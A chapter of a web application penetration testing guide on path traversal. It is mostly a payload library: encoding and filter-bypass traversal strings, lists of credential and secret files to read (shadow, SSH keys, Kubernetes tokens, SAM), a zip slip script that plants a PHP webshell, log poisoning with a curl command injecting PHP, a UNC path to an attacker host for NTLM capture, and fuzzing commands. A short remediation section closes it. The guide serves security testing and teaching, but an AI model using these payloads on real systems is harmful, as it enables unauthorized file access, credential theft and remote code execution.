Path Traversal / Directory Traversal
Severity: High–Critical CWE: CWE-22 OWASP: A01:2021 – Broken Access Control
What Is Path Traversal?
Path Traversal (also known as Directory Traversal or ../ attack) occurs when user-controlled input is used to construct a filesystem path without proper sanitization, allowing the attacker to read (or write) files outside the intended directory.
The canonical payload is ../ — traversing one directory level up. Chained enough times, it reaches the root of the filesystem and can access any readable file: credentials, source code, private keys, configurations, OS files.
In write-capable scenarios, path traversal becomes a full RCE primitive: write a webshell to the web root, write a cron job, write SSH authorized_keys.
Attack Surface Map
Where Path Traversal Typically Occurs
# Direct file parameters:
/download?file=report.pdf
/load?template=invoice.html
/image?path=user/avatar.jpg
/read?name=README.txt
/view?page=about
/include?module=header
/export?format=csv&file=output
# Indirect parameters:
- File upload → stored path → later fetched
- Archive extraction (zip slip)
- Language/locale selection: ?lang=en → loads /i18n/en.json
- Theme/skin selection: ?theme=dark → loads /themes/dark/style.css
- Log viewer: ?log=access → reads /logs/access.log
- Plugin/module loader: ?plugin=markdown → loads /plugins/markdown.php
- Document viewer: ?doc=report → reads /docs/report.pdf
- Email template: ?template=welcome → loads /templates/welcome.html
# HTTP headers that may influence file paths:
- Accept-Language: ../../etc/passwd
- Referer (if used for template selection)
- X-Original-URL (path override in nginx/Apache)
Discovery Checklist
Phase 1 — Passive Identification
- Map all parameters that reference files, templates, pages, modules, or resources
- Identify file download / export / preview endpoints
- Check language, theme, locale parameters
- Look for log viewers, report generators, or document readers
- Identify ZIP/TAR file upload that is extracted server-side
- Check if filenames in responses correspond to actual server filenames
- Look for base paths in JS source (
/var/www/html/,/app/,C:\inetpub\)
Phase 2 — Active Detection
- Inject
../sequences into file/path parameters - Try known safe files:
/etc/passwd(Linux),C:\Windows\win.ini(Windows) - Test with increasing
../chains:../etc/passwd,../../etc/passwd,../../../etc/passwd - Test with URL encoding:
..%2fetc%2fpasswd - Test with double URL encoding:
..%252fetc%252fpasswd - Test with null byte:
../../../etc/passwd%00.jpg - Test with absolute path:
/etc/passwd - Test Windows-style:
..\..\..\Windows\win.ini - Check response differences: file found vs not found vs error
- Test in archive uploads (zip slip): file with
../../path in header
Phase 3 — Confirm & Escalate
- Confirm read of
/etc/passwd— identifies Linux system - Read application config files,
.env,database.yml - Read source code from known paths (detect framework → guess paths)
- Read SSH private keys:
~/.ssh/id_rsa,/root/.ssh/id_rsa - Read web server config for other virtual hosts / paths
- Read log files for credentials or sensitive data
- Test write capability (upload then traverse path)
- In ZIP upload: attempt zip slip to write to web root
Payload Library
Section 1 — Basic Traversal Sequences
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
../../../../../../../../../
-- Absolute paths (skip traversal):
/etc/passwd
/etc/shadow
/etc/hosts
C:\Windows\win.ini
C:\boot.ini
Section 2 — URL Encoding Variants
-- Single encode (/ → %2f, . → %2e):
..%2fetc%2fpasswd
..%2f..%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2fetc%2fpasswd
-- Double encode (%25 = %):
..%252fetc%252fpasswd
%252e%252e%252fetc%252fpasswd
..%252f..%252fetc%252fpasswd
-- Triple encode:
..%25252fetc%25252fpasswd
-- Mixed encoding:
..%2f../etc/passwd
..\..%2fetc%2fpasswd
..%5c..%5cetc%5cpasswd -- %5c = \
Section 3 — Filter Bypass Techniques
Null Byte Injection (older PHP / C-based code)
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
../../../etc/passwd\0
../../etc/passwd%00.pdf
Extension Bypass (when extension is appended)
-- If app appends ".php" to your input:
../../../etc/passwd%00 -- null byte strips extension (PHP < 5.3)
../../../etc/passwd/. -- trailing /. may remove extension
../../../etc/passwd%20 -- trailing space
../../../etc/passwd. -- trailing dot (Windows)
-- Double extension:
../../../etc/passwd.png../../../etc/passwd -- parser takes first found
Stripped Traversal Bypass (when ../ is removed)
-- Non-recursive strip (removes ../ once):
....// → after strip of ../ → ../
....\/ → after strip of ..\ → ..\
..// → after normalizing → ../
.././ → ./ then resolves to parent
..%2F → if only literal ../ is stripped
....%2F%2F → double encode after stripping
-- Mixed case (Windows is case-insensitive):
..\
..\/
..\../
-- Unicode variations:
..%c0%af → / in overlong UTF-8 (CVE-era, some old parsers)
..%c1%9c → \ in overlong UTF-8
%uff0e%uff0e/ → fullwidth ..
..%e0%80%af → another overlong /
Windows-Specific Bypasses
-- Backslash:
..\Windows\win.ini
..\..\Windows\win.ini
..\..\..\..\Windows\win.ini
-- Mixed slashes:
../..\..\Windows\win.ini
..\../Windows/win.ini
-- Drive letter:
C:\Windows\win.ini
C:/Windows/win.ini
\Windows\win.ini
-- UNC (potential NTLM capture):
\\ATTACKER\share\file
-- 8.3 short names:
WINDOW~1\WIN.INI -- Windows 8.3 filename
PROGRA~1\ -- Program Files
Path Normalization Bypass
-- Extra slashes:
////etc/passwd
..////etc/passwd
..//..//etc/passwd
-- Dot sequences:
./../../etc/passwd
../././../../etc/passwd
../.%2e/etc/passwd
./%2e./etc/passwd
-- Semicolon (URL segmentation in some servers):
/file;/../../../etc/passwd
Section 4 — Target Files — Linux
System & Credentials
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers
/etc/sudoers.d/
/etc/hosts
/etc/hostname
/etc/resolv.conf
/etc/crontab
/var/spool/cron/crontabs/root
SSH
/home/USER/.ssh/id_rsa
/home/USER/.ssh/id_ecdsa
/home/USER/.ssh/id_ed25519
/home/USER/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
Web Application Configs
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/configuration.php -- Joomla
/var/www/html/app/config/database.php
/app/.env
/app/config/database.yml
/app/config/secrets.yml
/app/settings.py
/opt/app/config.json
/srv/www/htdocs/.env
-- Spring Boot:
/opt/app/application.properties
/opt/app/application.yml
-- Django:
/opt/app/settings.py
-- Rails:
/opt/app/config/database.yml
/opt/app/config/secrets.yml
Process Info
/proc/self/environ -- environment variables (may contain secrets)
/proc/self/cmdline -- process command line
/proc/self/maps -- memory maps (reveals binary paths)
/proc/self/fd/0 -- stdin
/proc/self/fd/1 -- stdout
/proc/self/fd/2 -- stderr
/proc/self/cwd -- symlink to working directory
/proc/self/exe -- symlink to executable
/proc/net/tcp -- open TCP connections
/proc/net/fib_trie -- internal IP addresses
/proc/version -- kernel version
/proc/1/cmdline -- init/systemd command line
Web Server Logs & Configs
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
/var/log/syslog
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/httpd/conf/httpd.conf
Cloud / Container
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/ca.crt
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/docker.sock -- Docker API socket
/.dockerenv -- confirms Docker container
/proc/1/cgroup -- reveals container runtime
Section 5 — Target Files — Windows
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\repair\sam
C:\Windows\repair\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
C:\Users\Administrator\.ssh\id_rsa
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\ProgramData\MySQL\MySQL Server 8.0\my.ini
C:\xampp\mysql\bin\my.ini
C:\xampp\passwords.txt
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\tomcat-users.xml
C:\Program Files\FileZilla Server\FileZilla Server.xml
%SYSTEMROOT%\system32\config\AppEvent.Evt
%SYSTEMROOT%\system32\config\SecEvent.Evt
Section 6 — Zip Slip (Archive Path Traversal)
Zip Slip occurs when a server extracts a ZIP/TAR/JAR archive and does not validate the paths within the archive entries, allowing files to be written anywhere on the filesystem.
-- Create malicious ZIP with traversal path:
# Using Python:
python3 -c "
import zipfile
zf = zipfile.ZipFile('evil.zip', 'w')
zf.write('/etc/passwd', '../../../var/www/html/passwd.txt')
zf.writestr('../../../var/www/html/shell.php', '<?php system(\$_GET[\"cmd\"]);?>')
zf.close()
"
-- Using evilarc tool:
git clone https://github.com/ptoomey3/evilarc
python evilarc.py shell.php -o unix -f evil.zip -d 5 -p var/www/html/
-- TAR archive path traversal:
tar cvf evil.tar ../../../../var/www/html/shell.php
-- JAR (Java):
# Same as ZIP — JAR is a ZIP archive
jar cf evil.jar ../../../../webapp/shell.jsp
-- Verify malicious path is in archive:
unzip -l evil.zip
zipinfo evil.zip
-- Common vulnerable archive extractors:
# Python: tarfile (check for ../ in member names)
# Java: ZipInputStream (check for getEntry path)
# PHP: ZipArchive (check extractTo validation)
# Node: unzipper, decompress (check path sanitization)
Section 7 — Log Poisoning via Path Traversal
When you can read log files AND inject into them (via User-Agent, error pages, etc.):
-- Step 1: Poison the log (send request with PHP code in User-Agent):
curl -A "<?php system(\$_GET['cmd']); ?>" https://target.com/
-- Step 2: Include the log file via path traversal LFI:
/download?file=../../../var/log/apache2/access.log&cmd=id
-- Common log paths:
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log -- SSH login attempts → poison via SSH username
/var/mail/www-data -- if app sends mail, user-input in email headers
/proc/self/fd/2 -- stderr (direct access without log file)
Tools
# dotdotpwn — automated path traversal fuzzer:
git clone https://github.com/wireghoul/dotdotpwn
perl dotdotpwn.pl -m http -h target.com -f /etc/passwd -k "root:"
# ffuf — path traversal fuzzing:
ffuf -w ~/wordlists/traversal.txt \
-u "https://target.com/download?file=FUZZ" \
-mr "root:" -r
# Burp Intruder — with path traversal wordlist:
# Payload: file path variants + target files
# Path traversal wordlist generation:
for i in {1..10}; do
echo -n '../';
done | sed 's/$/etc\/passwd/' >> traversal.txt
# curl with traversal:
curl -v "https://target.com/file?name=../../../../../../etc/passwd"
curl -v "https://target.com/file?name=..%2f..%2f..%2fetc%2fpasswd"
# Python quick test:
python3 -c "
import requests
for n in range(1, 10):
path = '../' * n + 'etc/passwd'
r = requests.get(f'https://target.com/file?name={path}')
if 'root:' in r.text:
print(f'FOUND at depth {n}: {path}')
break
"
Remediation Reference
- Canonicalize paths before validation: resolve symlinks and
../sequences first, then check the resulting absolute path is within the allowed base directory - Whitelist filenames: only allow alphanumeric characters, dots, and hyphens — never allow slashes or backslashes in user input used in paths
- Use language-native path join functions with validation:
os.path.realpath()(Python),File.getCanonicalPath()(Java),Path.GetFullPath()(.NET) — then verify the resolved path starts with the expected base directory - Strip traversal sequences only as a secondary defense (not primary — it’s bypassable)
- Do not expose raw filesystem paths to users — use opaque identifiers (UUIDs) mapped to files internally
- Validate archive contents before extraction: check that every entry’s path resolves within the intended output directory
- Chroot / containerize file access where possible
Part of the Web Application Penetration Testing Methodology series. Previous: Chapter 16 — SSRF | Next: Chapter 18 — File Inclusion (LFI/RFI)